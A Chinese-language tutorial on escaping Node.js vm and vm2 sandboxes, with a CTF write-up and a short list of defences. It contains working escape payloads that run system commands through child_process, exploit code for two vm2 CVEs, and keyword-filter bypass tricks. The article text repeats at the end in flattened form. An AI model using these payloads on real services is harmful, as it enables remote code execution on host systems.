VM及VM2沙箱逃逸及对特殊情况的处理办法
字数 1483 2025-08-03 16:48:21

Node.js 沙箱逃逸技术深度解析

1. 沙箱基础概念

沙箱(Sandbox)是一个用于隔离沙箱内环境和宿主环境的代码执行环境,主要用于执行不受信任的代码或运行程序。当沙箱安全性不足时,会产生逃逸情况,影响宿主环境,甚至实现远程代码执行(RCE)。

在Node.js中,主要有两种创建沙箱的方式:

  • vm模块:基础沙箱实现,安全性较低
  • vm2模块:增强型沙箱,安全性更高但仍存在逃逸可能

2. Node.js上下文基础

在Node.js中:

  • 全局变量是global,包含所有全局变量和内置对象(console, process, require等)
  • 不同模块(a.jsb.js)天然隔离,只能通过require引入特定模块
  • process对象可以创建子进程执行系统命令,是沙箱逃逸的主要目标

3. vm模块沙箱实现与逃逸

3.1 vm模块API

  • vm.Script(code[, options]):创建预编译Script对象
  • script.runInContext([contextifiedSandbox[, options]]):在指定上下文执行
  • script.runInNewContext([sandbox[, options]]):创建新上下文并执行
  • vm.createContext([sandbox[, options]]):创建独立上下文
  • vm.runInContext(code, contextifiedSandbox[, options]):在已有上下文中运行
  • vm.runInNewContext(code[, sandbox[, options]]):创建新上下文并运行
  • vm.runInThisContext(code[, options]):在当前上下文运行

3.2 基本逃逸方法

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

原理:

  1. 通过this获取沙箱外对象
  2. 获取其构造函数(Object)
  3. 获取构造函数的构造函数(Function)
  4. 利用Function执行任意代码

3.3 特殊沙箱对象逃逸

当沙箱对象使用Object.create(null)创建时(无原型链),需使用arguments属性:

const a = {}
a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor.constructor('return process'))();
    return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a

触发方式:console.log('Hello ' + res)会调用toString()

3.4 Proxy代理逃逸

当无法触发toString时,可使用Proxy:

const a = new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})
return a

或通过try-catch

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return process'))();
        return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

4. vm2模块逃逸

4.1 CVE-2019-10761 (vm2 ≤3.6.10)

const f = Buffer.prototype.write;
const ft = { length: 10, utf8Write(){} }

function r(i){
    var x = 0;
    try{ x = r(i); }catch(e){}
    if(typeof(x)!=='number') return x;
    if(x!==i) return x+1;
    try{ f.call(ft); }catch(e){ return e; }
    return null;
}

var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){ i++; }
}
i.mainModule.require("child_process").execSync("whoami").toString()

4.2 CVE-2021-23449

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

或:

Symbol = {
    get toStringTag(){
        throw f => f.constructor("return process")()
    }
};
try {
    Buffer.from(new Map());
} catch(f){
    Symbol = {};
    f((mainModule.require("child_process").execSync("whoami").toString();
}

5. 过滤绕过技术

5.1 大小写绕过

如果正则未忽略大小写:

  • toLowerCase()/toUpperCase()转换
  • 直接使用大小写变体

5.2 点号(.)过滤

使用[]替代属性访问:

require('child_process')['execSync']

5.3 关键字绕过

字符串拼接

require('child_process')["ex" + "ec"]
require('child_process')["ex".concat("ec")]

模板字符串

require('child_process')[`${`${`exe`}c`}`]

编码绕过

  • 十六进制:
require('child_process')["\x65\x78\x65\x63"]
  • Unicode:
require('child_process')["\u0065\u0078\u0065\u0063"]
  • Base64:
require("child_process")[Buffer.from("ZXhlYw==","base64").toString()]

String.fromCharCode

require('child_process')[String.fromCharCode(101,120,101,99)]

6. 实战案例:[NKCTF2024]全世界最简单的CTF

源码分析

function waf(code) {
    let pattern = /(process|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)) {
        throw new Error("what can I say? hacker out!!");
    }
}

绕过方案
使用String.fromCharCode和模板字符串:

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor(String.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115))());
        return p.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115))[`${`${`ex`}ecSync`}`](`${`${`who`}ami`}`).toString();
    }
})

7. 防御建议

  1. 避免使用vm模块执行不受信任代码
  2. 及时更新vm2到最新版本
  3. 实施多层过滤机制
  4. 限制沙箱环境资源访问
  5. 使用专用沙箱解决方案而非自行实现

通过深入理解这些逃逸技术和防御方法,可以更好地保护Node.js应用免受沙箱逃逸攻击。

Node.js 沙箱逃逸技术深度解析 1. 沙箱基础概念 沙箱(Sandbox)是一个用于隔离沙箱内环境和宿主环境的代码执行环境,主要用于执行不受信任的代码或运行程序。当沙箱安全性不足时,会产生逃逸情况,影响宿主环境,甚至实现远程代码执行(RCE)。 在Node.js中,主要有两种创建沙箱的方式: vm 模块:基础沙箱实现,安全性较低 vm2 模块:增强型沙箱,安全性更高但仍存在逃逸可能 2. Node.js上下文基础 在Node.js中: 全局变量是 global ,包含所有全局变量和内置对象( console , process , require 等) 不同模块( a.js 和 b.js )天然隔离,只能通过 require 引入特定模块 process 对象可以创建子进程执行系统命令,是沙箱逃逸的主要目标 3. vm模块沙箱实现与逃逸 3.1 vm模块API vm.Script(code[, options]) :创建预编译Script对象 script.runInContext([contextifiedSandbox[, options]]) :在指定上下文执行 script.runInNewContext([sandbox[, options]]) :创建新上下文并执行 vm.createContext([sandbox[, options]]) :创建独立上下文 vm.runInContext(code, contextifiedSandbox[, options]) :在已有上下文中运行 vm.runInNewContext(code[, sandbox[, options]]) :创建新上下文并运行 vm.runInThisContext(code[, options]) :在当前上下文运行 3.2 基本逃逸方法 原理: 通过 this 获取沙箱外对象 获取其构造函数( Object ) 获取构造函数的构造函数( Function ) 利用 Function 执行任意代码 3.3 特殊沙箱对象逃逸 当沙箱对象使用 Object.create(null) 创建时(无原型链),需使用 arguments 属性: 触发方式: console.log('Hello ' + res) 会调用 toString() 3.4 Proxy代理逃逸 当无法触发 toString 时,可使用Proxy: 或通过 try-catch : 4. vm2模块逃逸 4.1 CVE-2019-10761 (vm2 ≤3.6.10) 4.2 CVE-2021-23449 或: 5. 过滤绕过技术 5.1 大小写绕过 如果正则未忽略大小写: toLowerCase() / toUpperCase() 转换 直接使用大小写变体 5.2 点号(.)过滤 使用 [] 替代属性访问: 5.3 关键字绕过 字符串拼接 : 模板字符串 : 编码绕过 : 十六进制: Unicode: Base64: String.fromCharCode : 6. 实战案例:[ NKCTF2024 ]全世界最简单的CTF 源码分析 : 绕过方案 : 使用 String.fromCharCode 和模板字符串: 7. 防御建议 避免使用 vm 模块执行不受信任代码 及时更新 vm2 到最新版本 实施多层过滤机制 限制沙箱环境资源访问 使用专用沙箱解决方案而非自行实现 通过深入理解这些逃逸技术和防御方法,可以更好地保护Node.js应用免受沙箱逃逸攻击。